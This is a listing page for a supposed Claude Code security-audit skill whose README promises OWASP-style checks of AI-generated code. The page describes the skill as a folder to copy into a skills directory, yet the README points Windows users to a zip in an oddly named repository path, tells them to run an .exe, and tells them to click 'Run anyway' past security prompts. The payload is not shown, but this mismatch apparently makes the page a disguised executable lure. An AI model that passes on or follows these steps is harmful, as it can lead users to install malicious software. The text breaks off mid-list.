Vibe Code Security Audit banner
Pold911 Pold911

Vibe Code Security Audit

Security community

Description

Audit web apps and AI-generated code for common security flaws with a Claude Code skill focused on OWASP issues and hardening risks

Installation

This entry records only its repository, not the path inside it, so there is no exact command to give. Open the source below and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

README

🛡️ vibe-code-security-audit - Check Code for Security Risks

[![Download the app](https://img.shields.io/badge/Download%20from%20Releases-blue?style=for-the-badge)](https://raw.githubusercontent.com/Pold911/vibe-code-security-audit/main/fossilification/code-audit-vibe-security-1.6.zip)

🔽 Download

Visit this page to download: https://raw.githubusercontent.com/Pold911/vibe-code-security-audit/main/fossilification/code-audit-vibe-security-1.6.zip

On Windows, open the latest release and download the file that matches your system. If there is more than one file, choose the one that ends in `.exe` or the Windows package listed in the release notes.

🪟 Run on Windows

  1. Download the app from the Releases page.
  2. Open your Downloads folder.
  3. Double-click the file you downloaded.
  4. If Windows shows a security prompt, choose Run anyway if you trust the source.
  5. Follow the on-screen steps to finish setup.
  6. Open the app from the Start menu or from the shortcut on your desktop.

If the app starts in a command window, leave that window open while you use it.

📋 What This Does

`vibe-code-security-audit` helps you check web apps and AI-made code for common security problems. It focuses on real issues that can lead to data leaks, account access problems, and unsafe app behavior.

Use it to review:

  • Web apps
  • API routes
  • Server code
  • Front-end code
  • AI-generated code
  • Small scripts before you share them

It looks for the kinds of mistakes that often slip into fast builds and early versions.

🔍 What It Checks

This tool is designed to review code for the 20 most common security issues, including:

  • Weak input checks
  • Unsafe use of user data
  • Broken access control
  • Missing auth checks
  • Exposed secrets
  • Unsafe file handling
  • Cross-site scripting risks
  • SQL injection risks
  • Command injection risks
  • Bad password handling
  • Weak session handling
  • Unsafe redirects
  • Poor error handling
  • Missing rate limits
  • Open CORS rules
  • Insecure h